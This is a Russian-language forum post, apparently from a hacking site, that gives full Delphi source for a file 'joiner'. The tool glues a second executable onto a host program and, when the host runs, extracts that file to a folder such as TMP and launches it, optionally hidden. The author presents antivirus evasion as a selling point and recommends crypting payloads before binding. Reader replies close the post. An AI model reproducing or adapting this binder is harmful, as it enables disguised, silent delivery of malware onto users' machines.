СКЛЕИВАНИЕ ФАЙЛОВ
Как я и обещал выкладываю свой способ склейки файлов.
Суть метода предельно, до тупого проста и понятна всем.
В исходник программы носителя добавляется приведённая ниже
процедура: Joiner. А дальше где-нибудь в программе
устанавливется её вызов, например в начале основной части
или, если её нет в функции FormCreate, в общем где посчитаете
нужно, там и ставите… Далее действуем так: у нас есть
два файла например nositel.exe-файл-носитель и Joined.exe —
клеимый файл. Размещаем эти файлы в одном каталоге, запускаем
nositel.exe в этом же каталоге образуется файл nositel.exe.exe
он представляет собой уже склееные два файла nositel.exe и
Joined.exe с добавленной в DOS-заголовке меткой склеености)))
В общем-то если вы все параметры правильно ввели то у всё
уже готово))… Переименовываем nositel.exe.exe в рабочее имя
и можем его применять… при запуске этого файла он извлекает
приклееную прогу в указанное в параметре место и в зависимости
от выбранный парамтров запускает или нет с выбранным способом
отображения окна)))
Я думаю, что вопросы по теме будут, хотя вроде всё понятно,
в общем что не ясно спрашивайте….
Преемущества метода:
— Непалим антивирями по причине отсутствия загрузщика;
— Метод прост и не требует наличия каких-либо средств;
— Метод очень компактный в реализации;
Недостатки метода:
— Нельзя склеивать любые два файла, в качестве файла-носителя
можно применять только файл, чей делфи исходник у вас есть…
Особенность метода:
— Упаковку и криптование файлов необходимо провести до склеивания)))
Вот исходник процедуры, полностью описанный и с примером применения:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn ‘n’ DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////
{$M 65000}//Эта дериктива компилятору выделяет память под запуск приложения
//Её необходимо будет добавлять в каждую прогу внячале кода…
program Project3;
uses //Для работы процедуры необходимо присутствие этих модулей
SysUtils,
Windows;
Procedure Joiner(fName,fPath,fCMD:string;fstart:boolean;fShow:Cardinal);
const
mSize=56789;//Размер программы-носителя к которой будет крениться файл
fSize=12345;//Размер крепимого файла
//Эти два значения мы устанавливаем опытным путем и записываем сами
type
MnBuf=array[1..mSize] of Char;
FlBuf=array[1..fSize] of Char;
LaBuf=array[1..8] of Char;
var
mBuf : MnBuf;
fBuf : FlBuf;
lBuf : LaBuf;
f : File of Char;
begin
FileMode:=0;//Устанавливаем режим работы с файлами «Только чтение»
AssignFile(f,Paramstr(0));//Ассоциируем переменную f с путём к себе
Reset(f);//Открываем себя
Seek(f,$1C);//Переходим на позицию чтения 1Ch, т.е. 28 байт
//В DOS-заголовке ехе-файла на имеются зарезервированные места,
//которые пока их не заняли мы можем свободно использовать
//на позиции 1Сh имеется 8 байт, на позиции 28h (40-й байт) свободно 20 байт
BlockRead(f,lBuf,8);//Считываем в буфер, начиная с текущей позиции 8 байт в переменную lBuf
if LBuf=’E}{eC()M’ then
//Если в этом месте наша метка значит файл уже приклеин и нам необходимо
//его из себя извлечь и по необходимости запустить в выбраном режиме отображения
//Метку можете придумать свою, она может иметь размер не более 8 байт в этой позиции
// и не более 20 байт в позиции 28h… Мы находимся на втором уровне
Begin
Seek(f,FileSize(f)-fSize);//Переходим на позицию начала приклеенного файла
BlockRead(f,fBuf,fSize);//Считываем в буфер весь приклееный файл
CloseFile(f);//Закрываем себя
FileMode:=2;//Устанавливаем режим работы с файлами «Только запись»
{$I-}//Отключаем проверку ошибок ввода вывода
AssignFile(f,fPath+fName);//Ассоциируем переменную f с выбраным путём распаковки
ReWrite(f);//Создаем с перезаписью пустой файл
BlockWrite(f,fBuf,fSize);//Выгружаем в новый файл данныей загруженные из конца своего файла
CloseFile(f);//Закрываем себя
{$I+}//Включаем проверку ошибок ввода вывода
if fStart then WinExec(PChar(fPath+fName+’ ‘+fCMD),fShow);
//Если fStart true запускаем извлеченный файл с выбраным способом отображения и командной строкой
end
else
//Если в этом месте не стоит наша метка то файл не содержит в себе оверлейного файла
//Значит мы находимся на первом уровне, и к программе-носителю необходимо приклеить файл
begin
{$I-}//Отключаем проверку ошибок ввода вывода
Seek(f,0);//Переходим на позицию начала своего файла
BlockRead(f,mBuf,mSize);//Считываем в буфер весь свой файл
CloseFile(f);//Закрываем себя
AssignFile(f,fname);//Ассоциируем переменную f с путём к клеемому файлу
Reset(f);//Открываем его
BlockRead(f,fBuf,fSize);//Берём в бефер весь клеимый файл
CloseFile(f);//Закрываем клеимый файл
FileMode:=2;//Устанавливаем режим работы с файлами «Только запись»
AssignFile(f,paramstr(0)+’.ExE’);//Ассоциируем переменную f с путём к файлу с именем,
//как у файла носителя + .ЕхЕ
ReWrite(f);//Создаём новый пустой файл
BlockWrite(f,mBuf,mSize);//выгружем в файл содержимое буфера взятое из себя
BlockWrite(f,fBuf,fSize);//выгружем в файл содержимое буфера взятое из клеимого файла
seek(f,$1C);//Переходим на позицию установки метки
LBuf:=’E}{eC()M’;//Присваивем переменной значение метки
BlockWrite(f,LBuf,8);//Выгружаем метку с перезаписью старих байт на позицию её прибывания
CloseFile(f);//Закрываем файл
{$I+}//Включаем проверку ошибок ввода вывода
end;
end;
begin
//Применение процедуры Joiner:
//fName — Имя клеимого файла
//fPath — Папка распаковки файла
//fCMD — командная строка запуска файла (если есть)
//fstart — true — запускаем, false — не запускаем, извлечённый файл
//fShow — Режим отображения запущеного файла например:
//SW_HIDE — Прячет окно и переводит в активное состояние другое окно.
//SW_MINIMIZE — Минимизирует окно и активизирует окно верхнего уровня в списке менеджера окон.
//SW_RESTORE — Действует так же, как и SW_SHOWNORMAL.
//SW_SHOW — Активизирует окно и выводит его в текущей позиции и текущего размера.
//SW_SHOWDEFAULT — Активизирует окно и выводит его с использованием текущих умолчаний.
//SW_SHOWMAXIMIZED — Активизирует окно и выводит его с максимально размером.
//SW_SHOWMINIMIZED — Активизирует окно и выводит его в виде пиктограммы.
//SW_SHOWMINNOACTIVATE — Выводит окно как пиктограмму; бывшее активныь в данный момент окно остается активным.
//SW_SHOWNA — Выводит окно с учетом его состояния в данный момент; активное в данный момент окно остается активным.
//SW_SHOWNOACTIVATE — Выводит окно в его прежней позиции и прежнего размера; активное в данный момент окно остаета активным.
//SW_SHOWNORMAL — Активизирует окно и выводит его на экран. Если окно было увеличено или уменьшено до пиктограммы, то система Windows восстановит начальное положение и размер окна.
//SW_SHOWSMOOTH — Выводит окно так, чтобы оно меньше всего перекрывалось с другими окнами.
Joiner(‘calc.exe’,GetEnvironmentVariable(‘TMP’)+’\’,»,true,SW_Show);
end.
P.S. При написании программ с паблик исходниками пояснения из кода
можете убрать, но оставьте строки копирайта:
//////////////////////////////////
//// AutoJoiner by execom ////
//// 52Nn ‘n’ DE (c) 2007 ////
//// 52nn.net & d4rkevil.org ////
//////////////////////////////////
Хотя — это скорей проcьба)))
Метод — отстой, с таким же успехом можно засунуть нужный файл в ресурсы и извлечь при запуске
метод и не претендует на разряд супер.. просто фикня с ресурсом палиссо антивирьём лучше чем это…
а не знаешь где можно найти код склеивания двух .exe?
ребята это отстой нет добавления иконки
а я парюсь с этими ресурсами(вернее через них начал)
а это все описаное это как и простой вирь написать
Наверное лучше использовать TFileStream, будет эффективнее.
ну спаибо!
Как я понял то nositel.exe.exe содержит в первой части вся программа nositel.exe, а во второй части (условно) — вся программа Joined.exe. И при запуске nositel.exe.exe появится (где-то) программа Joined.exe, так ведь?
Если nositel.exe.exe содержит в себе содержимое двух программ то оно будет работать как полноценная программа, или будет глючить? (просто раньше пробовал втулить всякую ерунду ПОСЛЕ последнего байта некоторой программы и в результате она отказалась корректно работать).
Или может я чего-то не так понял в идеи выполнения этой проги?
Прошу прощение за свою неграмотность если я чего-то пропустил в теории.